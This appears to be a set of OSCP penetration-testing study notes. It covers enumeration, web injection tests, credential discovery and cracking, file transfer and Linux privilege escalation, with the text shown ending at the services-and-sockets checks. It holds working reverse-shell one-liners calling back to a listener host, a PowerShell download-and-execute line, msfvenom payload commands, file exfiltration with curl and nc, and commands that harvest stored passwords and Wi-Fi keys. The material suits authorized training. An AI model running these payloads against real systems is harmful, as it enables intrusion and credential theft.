Skip to content

OSCP

Practical notes for moving from an unknown target to a controlled system. These pages are organized by task rather than by the PEN-200 course syllabus.

Attack loop

  1. Establish the target, scope, and a clean workspace.
  2. Discover every reachable TCP and relevant UDP service.
  3. Enumerate each service manually before searching for exploits.
  4. Turn information into a foothold: credentials, writable content, vulnerable applications, or unsafe configuration.
  5. Enumerate again from the new security context.
  6. Escalate privileges, reuse credentials, and pivot only when the evidence supports it.

Working variables

Use the same variable names throughout the notes so commands remain easy to adapt.

export IP='192.0.2.10'
export PORT='80'
export URL="http://$IP:$PORT"
export LHOST='192.0.2.20'
export LPORT='443'
export DOMAIN='example.local'
export USER='username'
export PASS='password'

Do not create aliases that replace standard tools such as nc, wget, john, or smbclient. They make copied commands unpredictable.

Operating principle

Every useful finding should produce a next action. Record usernames, hostnames, domains, technologies, versions, credentials, writable locations, and trust relationships as soon as they appear. When stuck, return to the evidence rather than running a larger automated scan.

Methodology

Prepare the workspace

Keep raw tool output separate from working notes and downloaded files.

mkdir -p "$IP"/{scans,loot,web,exploits}
cd "$IP"
date -Is | tee notes.md
umask 077
touch findings.md credentials.md attempts.md
script -q -f terminal.log

Use exit to close the recorded terminal session. For parallel work, keep listeners, scans, web traffic, and notes in named terminal panes.

tmux new-session -s "$IP"
tmux rename-window recon

Maintain four short lists while working:

  • confirmed facts;
  • credentials and where they came from;
  • hypotheses worth testing;
  • attempted paths and why they failed.

Phase 1: discover

  • Verify connectivity and determine whether the host answers only on specific protocols.
  • Scan all TCP ports before assuming the initial result is complete.
  • Run focused scripts and version detection only against discovered ports.
  • Check common UDP services when TCP findings do not explain the target.
  • Resolve discovered hostnames and virtual hosts locally.
ip route get "$IP"
getent hosts "$IP"
timeout 3 bash -c "</dev/tcp/$IP/$PORT" && echo open

The output of this phase should be an attack-surface list, not merely an Nmap file.

Phase 2: enumerate

For every service, answer:

  1. What exact product or protocol is exposed?
  2. Does it allow anonymous or guest access?
  3. What names, shares, files, routes, or users can it reveal?
  4. Does it accept credentials already discovered elsewhere?
  5. Can any accessible resource be written or executed?
  6. Is the version actually vulnerable under this configuration?

Prefer a small number of deliberate commands over several overlapping enumeration scripts.

Capture banners and certificates independently when version detection is vague.

nc -nv "$IP" "$PORT"
openssl s_client -connect "$IP:$PORT" -servername "$IP" </dev/null
curl -vk --max-time 10 "$URL"

Phase 3: obtain a foothold

Prioritize attack paths with evidence behind them:

  1. exposed credentials or secrets;
  2. unsafe file upload or writable network shares;
  3. authenticated application functionality;
  4. injection and file-read vulnerabilities;
  5. configuration-specific public exploits;
  6. password guessing with a justified, narrow candidate set.

For public exploits, read the source before execution. Identify the vulnerable version range, required access, hard-coded addresses, callback settings, and expected side effects.

searchsploit '<product> <version>'
searchsploit -w '<product> <version>'
searchsploit -m <exploit-id-or-path>
file exploits/*
rg -n 'RHOST|RPORT|LHOST|LPORT|target|payload' exploits/

Phase 4: enumerate locally

Immediately record the current identity, host, network configuration, groups, privileges, running services, listening ports, and interesting files. Local enumeration should explain the system rather than produce an unreadable dump.

Ask:

  • Which security boundary am I trying to cross?
  • What does the current user control?
  • What privileged process consumes data that the user can modify?
  • Which credentials or tokens are available in this context?
# Linux
id; hostname; uname -a
ip addr; ip route; ss -lntup
ps auxww
# Windows
whoami /all
hostname
ipconfig /all
route print
netstat -ano
tasklist /svc

Phase 5: escalate and expand

Test configuration mistakes before kernel exploits. After escalation, repeat credential and network discovery because privileged access may expose new secrets, interfaces, routes, or sessions.

# Compare the post-escalation Linux context
id; env | sort; findmnt; ss -lntup
# Compare the post-escalation Windows context
whoami /all
Get-SmbConnection
Get-NetTCPConnection -State Listen

When stuck

  • Re-read every service banner and application response.
  • Compare TCP and UDP coverage with the service checklist.
  • Revisit authenticated functionality using every recovered credential.
  • Check hostnames, virtual hosts, redirects, certificates, and source comments.
  • Inspect files already downloaded instead of collecting more data.
  • Confirm that an exploit matches the exact architecture and configuration.
  • Try the same hypothesis manually with fewer moving parts.

Enumeration

TCP discovery

Start with a fast full-port SYN scan. Save normal, grepable, and XML output for later parsing.

sudo nmap -Pn -n -p- --min-rate 2000 --open "$IP" -oA scans/tcp-all

Use a TCP connect scan when raw sockets are unavailable or when scanning through a tunnel.

nmap -Pn -n -sT -p- --open "$IP" -oA scans/tcp-connect

Extract the discovered ports and run focused default scripts and version detection.

ports=$(awk -F'Ports: ' '/Ports:/{print $2}' scans/tcp-all.gnmap \
  | tr ',' '\n' | awk -F/ '$2 == "open" {gsub(/ /, "", $1); print $1}' \
  | paste -sd,)
sudo nmap -Pn -n -sC -sV -p "$ports" "$IP" -oA scans/tcp-services

Run an additional script category only against a justified service and review what the category will execute first.

nmap --script-help 'safe and discovery' | less
sudo nmap -Pn -n -sV --version-all -p "$ports" "$IP" -oA scans/tcp-versions

If packet loss or filtering is suspected, reduce the rate and retry. A fast scan is a starting point, not proof that a port is closed.

UDP discovery

Begin with common ports, then expand when the target suggests DNS, SNMP, NFS, TFTP, or IPsec.

sudo nmap -Pn -n -sU --top-ports 50 --open "$IP" -oA scans/udp-top
sudo nmap -Pn -n -sU -sV -p 53,69,111,123,137,161,500,4500 "$IP" -oA scans/udp-focus

Validate likely services directly:

dig @"$IP" version.bind chaos txt
snmpwalk -v2c -c public -t 2 -r 1 "$IP" 1.3.6.1.2.1.1
rpcinfo -p "$IP"

open|filtered is not a confirmed service. Use a protocol-specific client or Nmap script to validate it.

Quick network checks

ping -c 2 "$IP"
traceroute -n "$IP"
nc -nv "$IP" "$PORT"
curl -kI --max-time 10 "$URL"

For a directly attached lab network:

sudo arp-scan --localnet
sudo nmap -sn -n 192.0.2.0/24 -oA scans/host-discovery

Check IPv6 when the target exposes an address or local enumeration reveals an IPv6 route.

ip -6 addr
ip -6 route
sudo nmap -6 -Pn -sV '<ipv6-address>'

Build the attack-surface table

Convert scan output into a short working table:

Port Service Product/version Access Finding Next action
80 HTTP Apache/PHP Public Redirects to hostname Add hostname and enumerate vhosts
445 SMB Windows Guest denied Domain name disclosed Test known credentials

Useful output conversions:

xsltproc scans/tcp-services.xml -o scans/tcp-services.html
rg -n 'open|Service Info|Subject Alternative Name' scans/
grep '/open/' scans/tcp-all.gnmap

High-value correlations

  • A hostname in an HTTP redirect implies DNS or /etc/hosts work.
  • A certificate may reveal internal names or additional applications.
  • SMB, LDAP, Kerberos, and DNS together usually indicate Active Directory.
  • RPC and NFS together warrant export and UID-mapping checks.
  • Database ports become more valuable after application credentials are found.
  • A service bound only to localhost may become reachable after a foothold or pivot.

Minimal service checklist

21       FTP: anonymous login, files, write access
22       SSH: banner, usernames, recovered keys or passwords
25/465   SMTP: users, relay behavior, application mail flow
53       DNS: names, records, zone transfer
80/443   HTTP: hostnames, routes, parameters, files, authentication
111/2049 RPC/NFS: exports, permissions, UID mapping
135/139/445 Windows/SMB: domain, users, shares, permissions
161      SNMP: system, processes, software, network, credentials
389/636  LDAP: naming context, users, groups, ACLs
1433     MSSQL: credentials, roles, linked servers, command execution
3306     MySQL: credentials, databases, file privileges
3389     RDP: domain, valid credentials, restricted administration
5985/5986 WinRM: authenticated PowerShell access

Troubleshooting

  • Empty script output does not mean the service has no useful behavior.
  • Retry HTTP by IP and hostname, over both HTTP and HTTPS.
  • Distinguish connection failure, authentication failure, and authorization failure.
  • Preserve raw output; condensed notes often omit the clue needed later.
  • If a port behaves differently through Nmap, test it with the native client.
  • Compare results from Kali with results obtained from a pivot host.
  • Confirm whether a timeout is caused by routing, filtering, TLS, or the application protocol.

Services

Use this page after port discovery. Begin without credentials, repeat with every credential set recovered later, and record both readable and writable resources.

FTP — 21

ftp "$IP"
nmap -Pn -p21 --script ftp-anon,ftp-syst "$IP"
curl -v "ftp://anonymous:anonymous@example.com@$IP/"

Check anonymous access, directory listings, downloadable files, and whether an uploaded file becomes reachable through another service such as HTTP.

binary
passive
ls -la
get <remote-file> <local-file>
put <local-file> <remote-file>
Name: anonymous
Password: anonymous@example.com

SSH — 22

ssh -v "$USER@$IP"
ssh -i id_rsa "$USER@$IP"
ssh-keygen -y -f id_rsa
nmap -Pn -p22 --script ssh-auth-methods,ssh2-enum-algos,ssh-hostkey "$IP"

SSH usually becomes useful after discovering a username, password, or private key. Inspect key permissions and convert encrypted keys for offline recovery.

chmod 600 id_rsa
ssh2john id_rsa > id_rsa.hash
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash

DNS — 53

dig @"$IP" -x "$IP"
dig @"$IP" example.local ANY
dig @"$IP" example.local AXFR
dig @"$IP" host.example.local A
dig @"$IP" example.local NS
dig @"$IP" _ldap._tcp.dc._msdcs.example.local SRV
dnsrecon -n "$IP" -d example.local -t std

Add confirmed names to /etc/hosts; do not rely on the target IP alone when enumerating web applications.

SMTP — 25, 465, 587

nc -nv "$IP" 25
smtp-user-enum -M VRFY -U users.txt -t "$IP"
nmap -Pn -p25 --script smtp-commands,smtp-enum-users "$IP"
swaks --server "$IP" --quit-after EHLO

Manual SMTP dialogue:

EHLO example.local
VRFY username
MAIL FROM:<sender@example.local>
RCPT TO:<recipient@example.local>

Useful findings include valid usernames, internal domains, application-generated mail, and credentials stored in mail configuration.

SMB — 139, 445

First pass

nmap -Pn -p139,445 --script smb-protocols,smb2-security-mode,smb2-time "$IP"
smbclient -N -L "//$IP"
netexec smb "$IP" -u '' -p '' --shares
rpcclient -N -U '' "$IP"
enum4linux-ng -A "$IP"

With credentials

smbclient -L "//$IP" -U "$DOMAIN/$USER%$PASS"
smbclient "//$IP/share" -U "$DOMAIN/$USER%$PASS"
netexec smb "$IP" -d "$DOMAIN" -u "$USER" -p "$PASS" --shares
smbmap -H "$IP" -d "$DOMAIN" -u "$USER" -p "$PASS"
netexec smb "$IP" -d "$DOMAIN" -u "$USER" -p "$PASS" --users
netexec smb "$IP" -d "$DOMAIN" -u "$USER" -p "$PASS" --sessions

Inside smbclient:

recurse ON
prompt OFF
ls
mget *
put test.txt

Distinguish share access from filesystem permissions. A share may be visible but unreadable, or readable while a particular directory is writable.

RPC enumeration

rpcclient -U "$DOMAIN/$USER%$PASS" "$IP"
enumdomusers
enumdomgroups
querydispinfo
queryuser <RID>
enumprinters
netshareenumall

NFS — 111, 2049

rpcinfo -p "$IP"
showmount -e "$IP"
nmap -Pn -p111,2049 --script 'nfs*' "$IP"
sudo mkdir -p /mnt/nfs
sudo mount -t nfs -o vers=3,nolock "$IP:/export" /mnt/nfs
find /mnt/nfs -maxdepth 3 -ls

Check ownership by numeric UID, writable directories, keys, backups, and whether root_squash is enabled. Unmount when finished.

sudo umount /mnt/nfs

SNMP — 161/UDP

onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt "$IP"
snmpwalk -v2c -c public "$IP" 1.3.6.1.2.1.1
snmpwalk -v2c -c public "$IP" 1.3.6.1.2.1.25.4.2.1.2
snmpwalk -v2c -c public "$IP" 1.3.6.1.2.1.25.6.3.1.2
snmpwalk -v2c -c public "$IP" 1.3.6.1.2.1.4.20.1.1
snmpwalk -v2c -c public "$IP" 1.3.6.1.2.1.6.13.1.3

Prioritize system details, running processes, installed software, interfaces, routes, and command-line arguments.

LDAP — 389, 636

Discover the naming context before constructing searches.

ldapsearch -x -H "ldap://$IP" -s base namingcontexts
ldapsearch -x -H "ldap://$IP" -b 'DC=example,DC=local' '(objectClass=user)' sAMAccountName
ldapsearch -x -H "ldap://$IP" -D "$USER@$DOMAIN" -w "$PASS" \
  -b 'DC=example,DC=local' '(objectClass=*)'
ldapsearch -x -H "ldap://$IP" -D "$USER@$DOMAIN" -w "$PASS" \
  -b 'DC=example,DC=local' '(objectClass=group)' cn member
ldapsearch -x -H "ldap://$IP" -D "$USER@$DOMAIN" -w "$PASS" \
  -b 'DC=example,DC=local' '(objectClass=computer)' dNSHostName operatingSystem

For TLS problems, test ldaps:// and inspect the certificate for domain names.

Databases

MSSQL — 1433

impacket-mssqlclient "$DOMAIN/$USER:$PASS@$IP" -windows-auth
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');
SELECT name FROM sys.databases;
EXEC sp_linkedservers;
SELECT name,type_desc,is_disabled FROM sys.server_principals;

MySQL — 3306

mysql -h "$IP" -u "$USER" -p
SELECT user();
SHOW DATABASES;
SELECT user,host,plugin FROM mysql.user;
SHOW VARIABLES LIKE 'secure_file_priv';
SELECT @@version,@@hostname;

PostgreSQL — 5432

psql -h "$IP" -U "$USER" -d postgres
SELECT current_user;
\l
\du
\dt
SELECT version();

Redis — 6379

redis-cli -h "$IP" ping
redis-cli -h "$IP" INFO
redis-cli -h "$IP" CONFIG GET dir
redis-cli -h "$IP" CONFIG GET dbfilename
redis-cli -h "$IP" --user "$USER" --pass "$PASS" INFO

Check authentication, server version, bound interfaces, persistence paths, and accessible keys before considering any write primitive.

RDP and WinRM

xfreerdp3 /v:"$IP" /u:"$USER" /p:"$PASS" /d:"$DOMAIN" /cert:ignore
evil-winrm -i "$IP" -u "$USER" -p "$PASS"
evil-winrm -i "$IP" -u "$USER" -H '<NTLM>'
netexec rdp "$IP" -d "$DOMAIN" -u "$USER" -p "$PASS"
netexec winrm "$IP" -d "$DOMAIN" -u "$USER" -p "$PASS"

Authentication success does not guarantee authorization to log on through that service. Record the distinction and try the same credentials against other appropriate services.

Web

Establish the application baseline

curl -kI "$URL"
curl -ks "$URL" | tee web/index.html
whatweb -a 3 "$URL"
nmap -Pn -p "$PORT" --script http-title,http-headers,http-methods "$IP"

Build requests explicitly when reproducing application behavior:

curl -ksS -D web/headers.txt -o web/body.html "$URL"
curl -ksS -X OPTIONS -i "$URL"
curl -ksS -u "$USER:$PASS" "$URL/protected"
curl -ksS -b cookies.txt -c cookies.txt "$URL/account"
curl -ksS -H 'Content-Type: application/json' -d '{"name":"test"}' "$URL/api/items"

Record redirects, cookies, security headers, framework clues, server versions, comments, forms, API routes, and referenced JavaScript files. Browse through an intercepting proxy while keeping command-line requests reproducible.

Hostnames and virtual hosts

Extract names from redirects and TLS certificates, add confirmed names to /etc/hosts, and test virtual hosts.

openssl s_client -connect "$IP:443" -servername example.local </dev/null 2>/dev/null \
  | openssl x509 -noout -subject -issuer -ext subjectAltName

ffuf -u "http://$IP/" -H 'Host: FUZZ.example.local' \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -fs <baseline-size>

gobuster vhost -u "http://$IP" --append-domain -d example.local \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

Filter using a measured baseline response rather than copying an arbitrary size.

Content discovery

feroxbuster -u "$URL" -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \
  -x php,asp,aspx,jsp,txt,bak,zip -o web/ferox.txt

ffuf -u "$URL/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
  -e .php,.txt,.bak,.zip -ac

gobuster dir -u "$URL" \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -x php,asp,aspx,jsp,txt,bak,zip -o web/gobuster.txt

nikto -host "$URL" -output web/nikto.txt

Repeat discovery from authenticated areas and beneath interesting directories. Check robots.txt, sitemap.xml, backup extensions, exposed repositories, configuration files, and upload locations.

Parameter discovery

ffuf -u "$URL/page?FUZZ=test" \
  -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -ac

ffuf -u "$URL/login" -X POST -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'FUZZ=test' -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -ac

For each parameter, note its context: filesystem path, database query, shell command, template, redirect, serialized object, or server-side request.

File read and path traversal

Test a known local file and vary traversal depth, encoding, separators, and expected suffixes.

../../../../etc/passwd
..%2f..%2f..%2f..%2fetc%2fpasswd
..\..\..\..\Windows\win.ini
curl -ksG "$URL/download" --data-urlencode 'file=../../../../etc/passwd'
curl -ks "$URL/index.php?page=php://filter/convert.base64-encode/resource=index.php"

Useful follow-up targets include application configuration, source files, log files, SSH keys, service credentials, and process environment—not indiscriminate filesystem dumps.

File upload

Determine separately:

  • which extensions and MIME types are accepted;
  • whether the server renames the file;
  • where the file is stored;
  • whether it is rendered, parsed, or executed;
  • whether path or filename metadata can be controlled.

Start with a harmless marker file. Confirm retrieval before attempting a server-side payload.

printf 'upload-marker\n' > web/marker.txt
curl -ksS -F 'file=@web/marker.txt;type=text/plain' "$URL/upload"
curl -ksS -F 'avatar=@web/marker.txt' -b cookies.txt "$URL/profile"

Inspect multipart field names, filenames, returned paths, and server-side renaming in the intercepted browser request.

SQL injection

Begin with manual tests and compare response status, length, content, and timing.

'
"
' OR '1'='1'-- -
' AND '1'='2'-- -
' ORDER BY 1-- -
' UNION SELECT NULL-- -
curl -ksG "$URL/item" --data-urlencode "id=1' AND '1'='2'-- -"
curl -ksS "$URL/search" -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode "q=test' ORDER BY 2-- -"

Identify the database and column count before building a data-extraction query. Do not treat an error page alone as proof of exploitable injection.

Command injection

Use a harmless, observable command first and account for the host operating system and shell context.

; id
&& whoami
| whoami
$(id)
curl -ksG "$URL/ping" --data-urlencode 'host=127.0.0.1;id'
curl -ksG "$URL/ping" --data-urlencode 'host=127.0.0.1;sleep 5' \
  -o /dev/null -w 'total=%{time_total}\n'

If output is not reflected, test timing or an authorized callback. Encode only after understanding which layer blocks the raw input.

Authentication and sessions

  • Test registration, password reset, remember-me, and invitation flows.
  • Compare behavior across users rather than guessing authorization flaws.
  • Inspect tokens for predictable claims, expiry, audience, and signing behavior.
  • Look for identifiers in URLs, JSON bodies, hidden fields, and API requests.
  • Re-run content discovery with authenticated cookies or headers.
curl -ksS -c cookies.txt -d "username=$USER&password=$PASS" "$URL/login"
ffuf -u "$URL/FUZZ" -b "$(awk 'NF && $1 !~ /^#/{printf "%s=%s;",$6,$7}' cookies.txt)" \
  -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -ac

Source and dependency review

When source is available, search for routes, secrets, database connections, unsafe process execution, file operations, deserialization, and authorization checks.

rg -n -i 'password|secret|token|api[_-]?key|connection|string' .
rg -n 'exec\(|system\(|popen\(|subprocess|ProcessBuilder|Runtime\.getRuntime' .
rg -n 'upload|download|readFile|sendFile|deserialize|unserialize' .
rg -n 'TODO|FIXME|DEBUG|localhost|127\.0\.0\.1|0\.0\.0\.0' .
git log --all --oneline --decorate
git log -p --all -- .env '*.config' '*.yml' '*.yaml'

Validate dependency versions against the lockfile and actual configuration; product identification alone is not enough.

When stuck

  • Follow redirects manually and inspect every hostname.
  • Compare unauthenticated and authenticated responses.
  • Review JavaScript and API traffic for routes absent from the UI.
  • Try alternate HTTP methods and content types where the application supports them.
  • Revisit downloaded backups and configuration files.
  • Confirm that a suspected vulnerability reaches the intended interpreter.

Credentials

Treat credentials as relationships between an identity, a secret, a scope, and a source. A password without its domain or originating service is incomplete.

Credential ledger

Domain/host Username Secret type Source Validated services
EXAMPLE jsmith Password Web configuration SMB, WinRM

Never overwrite the original hash or ciphertext. Keep transformed cracking input in a separate file.

Identify hashes

hashid hashes.txt
hashcat --example-hashes | less
nth --file hashes.txt
file hashes.txt
awk '{print length($0),$0}' hashes.txt | sort -n

Prefer format evidence—prefix, length, source application, and protocol—over a generic hash identifier.

Common conversions

ssh2john id_rsa > id_rsa.hash
keepass2john Database.kdbx > keepass.hash
zip2john archive.zip > zip.hash
pdf2john document.pdf > pdf.hash
pfx2john certificate.pfx > pfx.hash
office2john document.docx > office.hash
bitlocker2john -i disk.img > bitlocker.hash

John and Hashcat

john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
john --show hashes.txt

hashcat -m <mode> hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m <mode> hashes.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m <mode> hashes.txt --show
hashcat -m <mode> hashes.txt -a 3 '?u?l?l?l?l?d?d?d?d'
hashcat -m <mode> hashes.txt --status --status-timer 10

Useful modes:

Material Hashcat mode
NTLM 1000
NetNTLMv2 5600
Kerberos AS-REP etype 23 18200
Kerberos TGS etype 23 13100
KeePass 13400

Confirm the mode against current hashcat --example-hashes output.

Generate targeted candidates

Build candidates from evidence such as organization names, seasons, years, products, usernames, and passwords already recovered.

cewl -d 2 -m 5 -w web.words "$URL"
hashcat --stdout base.words -r /usr/share/hashcat/rules/best64.rule > mutated.words
sort -u web.words mutated.words > candidates.txt
crunch 8 10 -t 'Example%%%^^' -o pattern.words
printf '%s\n' Spring Summer Autumn Winter | sed 's/$/2026!/' >> candidates.txt

Search Linux files

find /home /opt /var/www -type f \( -name '*.conf' -o -name '*.ini' -o -name '*.env' \
  -o -name '*.xml' -o -name '*.yml' -o -name '*.yaml' \) -readable 2>/dev/null

rg -n -i 'password|passwd|secret|token|api[_-]?key|credential' /var/www /opt 2>/dev/null
find /home -type f \( -name 'id_*' -o -name '*.kdbx' -o -name '*.key' \) 2>/dev/null
grep -RInsE 'pass(word)?|secret|token|api[_-]?key' /etc /home /opt /var/www 2>/dev/null
tr '\0' '\n' </proc/<PID>/environ
systemctl show <service> --property=Environment --property=EnvironmentFiles

Also inspect shell history, service unit files, scheduled tasks, process command lines, mounted shares, and application backups.

Search Windows files and registry

Get-ChildItem C:\Users,C:\inetpub,C:\xampp -Recurse -Force -ErrorAction SilentlyContinue |
  Where-Object { $_.Name -match '\.(config|ini|xml|txt|ps1|bat|kdbx)$' }

Get-ChildItem C:\Users -Recurse -File -ErrorAction SilentlyContinue |
  Select-String -Pattern 'password|passwd|secret|token|connectionString'

Get-Content (Get-PSReadLineOption).HistorySavePath
cmdkey /list
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
findstr /si /m "password secret token connectionString" C:\inetpub\wwwroot\*.config C:\inetpub\wwwroot\*.xml
netsh wlan show profiles
netsh wlan show profile name="<profile>" key=clear

Scope broad searches to likely application and user directories first; searching an entire filesystem produces noise and may be slow.

Validate deliberately

netexec smb "$IP" -d "$DOMAIN" -u "$USER" -p "$PASS"
netexec winrm "$IP" -d "$DOMAIN" -u "$USER" -p "$PASS"
ldapwhoami -x -H "ldap://$IP" -D "$USER@$DOMAIN" -w "$PASS"
netexec ssh "$IP" -u "$USER" -p "$PASS"
netexec ftp "$IP" -u "$USER" -p "$PASS"

Narrow online checks

Use online guesses only when the target is authorized, the protocol is known, and the candidate set is small enough to avoid uncontrolled lockouts.

hydra -L users.txt -P candidates.txt -f -V ssh://"$IP"
hydra -L users.txt -P candidates.txt -f -V smb://"$IP"
hydra -L users.txt -P candidates.txt "$IP" http-post-form \
  '/login:username=^USER^&password=^PASS^:F=Invalid credentials'

Validate the failure marker and request format against a captured login attempt before starting Hydra.

Avoid uncontrolled spraying. Check the password policy, use a narrow user list, limit attempts, and record which target and protocol validated each credential.

Troubleshooting

  • Try DOMAIN/user, user@domain, and local authentication only when appropriate.
  • Distinguish an invalid password from a valid account lacking logon rights.
  • Check clock skew before concluding Kerberos credentials are invalid.
  • A reused password may belong to a different local account with the same name.
  • Preserve exact capitalization and special characters when moving secrets between shells.
  • Remove $HEX[] wrappers or application metadata only when the cracking tool's input format requires it.
  • Use --username in Hashcat only for files that actually prefix each hash with a username.

Shells and Transfers

Listeners

rlwrap nc -lvnp "$LPORT"
socat -d -d TCP-LISTEN:"$LPORT",reuseaddr,fork STDOUT
sudo ncat --ssl -lvnp "$LPORT"

Use a port the target can reach. Confirm the callback path before debugging a payload.

Linux reverse shells

bash -c 'bash -i >& /dev/tcp/'"$LHOST"'/'"$LPORT"' 0>&1'
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("'"$LHOST"'",'"$LPORT"'));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'

Other runtime options:

perl -e 'use Socket;$i="<LHOST>";$p=<LPORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'
php -r '$s=fsockopen("<LHOST>",<LPORT>);exec("/bin/sh -i <&3 >&3 2>&3");'
socat TCP:<LHOST>:<LPORT> EXEC:'/bin/bash',pty,stderr,setsid,sigint,sane

URL-encode or otherwise transform a payload only for the context that requires it. Keep an unencoded copy in the notes.

Stabilize a Unix shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

Press Ctrl-Z, then configure the local terminal:

stty raw -echo; fg
reset
export TERM=xterm-256color
export SHELL=/bin/bash
stty rows 40 columns 120

Restore a broken local terminal with stty sane.

Windows command access

Prefer a payload generated for the target architecture and available runtime. For a simple PowerShell download-and-execute flow:

IEX (New-Object Net.WebClient).DownloadString('http://<LHOST>:8000/script.ps1')

If execution policy blocks a script file, determine whether an in-memory command or an allowed native tool is more appropriate. Do not assume PowerShell is the only option.

Generate architecture-appropriate payloads when a native executable is needed:

msfvenom -p windows/x64/shell_reverse_tcp LHOST="$LHOST" LPORT="$LPORT" -f exe -o shell.exe
msfvenom -p linux/x64/shell_reverse_tcp LHOST="$LHOST" LPORT="$LPORT" -f elf -o shell.elf
msfvenom -p php/reverse_php LHOST="$LHOST" LPORT="$LPORT" -f raw -o shell.php

Serve files from Kali

python3 -m http.server 8000 --directory .
sudo impacket-smbserver share "$PWD" -smb2support
sudo impacket-smbserver share "$PWD" -smb2support -username "$USER" -password "$PASS"

Download to Linux

wget "http://$LHOST:8000/file" -O /tmp/file
curl -fsSL "http://$LHOST:8000/file" -o /tmp/file
scp "$USER@$IP:/remote/path/file" ./loot/
scp ./file "$USER@$IP:/tmp/file"

Download to Windows

Invoke-WebRequest "http://<LHOST>:8000/file.exe" -OutFile C:\Windows\Temp\file.exe
certutil.exe -urlcache -split -f "http://<LHOST>:8000/file.exe" C:\Windows\Temp\file.exe
copy \\<LHOST>\share\file.exe C:\Windows\Temp\file.exe
bitsadmin /transfer job /download /priority normal http://<LHOST>:8000/file.exe C:\Windows\Temp\file.exe
Start-BitsTransfer -Source 'http://<LHOST>:8000/file.exe' -Destination 'C:\Windows\Temp\file.exe'
$wc = New-Object Net.WebClient
$wc.DownloadFile('http://<LHOST>:8000/file.exe','C:\Windows\Temp\file.exe')

Exfiltrate a file

HTTP upload receiver

Use an upload server you control, then send the file from the target.

python3 -m uploadserver 8000
curl -F 'files=@loot.zip' "http://$LHOST:8000/upload"
scp loot.zip "$USER@$LHOST:/tmp/loot.zip"

SMB

copy C:\Path\loot.zip \\<LHOST>\share\loot.zip

For a one-off TCP transfer, start the receiver first:

nc -lvnp 9001 > received.bin
nc "$LHOST" 9001 < file.bin

Encode small files

base64 -w0 file.bin
echo '<base64>' | base64 -d > file.bin
[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Path\file.bin'))
[IO.File]::WriteAllBytes('C:\Path\file.bin',[Convert]::FromBase64String('<base64>'))

Always compare hashes after transferring binaries.

sha256sum file.bin
Get-FileHash C:\Path\file.bin -Algorithm SHA256

Cross-compile

x86_64-w64-mingw32-gcc exploit.c -o exploit.exe
i686-w64-mingw32-gcc exploit.c -o exploit-x86.exe
gcc exploit.c -o exploit
gcc exploit.c -static -o exploit-static
python3 -m py_compile script.py

Match the operating system, architecture, libraries, and compiler assumptions of the target. A successful compile does not prove the exploit is compatible.

Troubleshooting

  • Verify routing and firewall behavior with a simple HTTP request first.
  • Try alternate writable directories such as /tmp, /dev/shm, or the current user's profile.
  • Check whether a proxy, constrained language mode, application control, or antivirus is changing behavior.
  • Prefer native tools when transferring a single small file.
  • If the shell dies instantly, remove interactive flags and simplify the payload.

Linux Privilege Escalation

Privilege escalation is usually a trust-boundary problem: a privileged process reads, executes, imports, or modifies something controlled by the current user.

Baseline

id
uname -a
cat /etc/os-release
hostname
sudo -l
ip addr
ip route
ss -lntup
ps auxww
findmnt
env | sort
getent passwd
getent group
last -a | head
w

Also record the current shell, environment, groups, home directory, umask, and available compilers or scripting runtimes.

Sudo

sudo -l
sudo -V | head
sudo -ll
grep -RIns '^[^#].*' /etc/sudoers /etc/sudoers.d 2>/dev/null

For every allowed command, ask whether it can:

  • start a shell or editor;
  • execute another command;
  • load a library, plugin, or configuration file;
  • write an arbitrary file;
  • preserve a dangerous environment variable;
  • use a wildcard or attacker-controlled path.

Test the exact rule, including arguments and host restrictions. Do not assume a binary behaves the same under sudo as it does interactively.

SUID and SGID

find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
find / -perm /6000 -type f -exec ls -la {} \; 2>/dev/null

Prioritize unusual binaries and standard tools with shell, file-write, or command execution features. Inspect custom binaries:

file /path/to/binary
strings -a /path/to/binary | less
ldd /path/to/binary
strace -f /path/to/binary 2>&1 | less
readelf -d /path/to/binary
objdump -x /path/to/binary | less

Look for relative commands, writable configuration, unsafe temporary files, and libraries loaded from controllable paths.

Capabilities

getcap -r / 2>/dev/null
getcap /usr/bin/* /usr/local/bin/* 2>/dev/null

High-value capabilities include cap_setuid, cap_dac_read_search, cap_dac_override, and cap_sys_admin. Interpret the capability together with what the binary can actually do.

Scheduled work

cat /etc/crontab
find /etc/cron* -maxdepth 2 -type f -ls 2>/dev/null
systemctl list-timers --all
ls -la /var/spool/cron /var/spool/cron/crontabs 2>/dev/null
systemctl list-timers --all --no-pager

Observe activity when the definition does not reveal the executed path:

pspy64

Check the script, its parent directories, referenced files, wildcard expansion, PATH, and environment. Write access must influence privileged execution to be useful.

Services and sockets

systemctl list-units --type=service --state=running
systemctl cat <service>
ss -lntup
find /run /var/run -type s -ls 2>/dev/null
systemctl list-unit-files --type=service
find /etc/systemd/system /usr/local/lib/systemd/system -type f -writable -ls 2>/dev/null
ls -la /etc/init.d 2>/dev/null

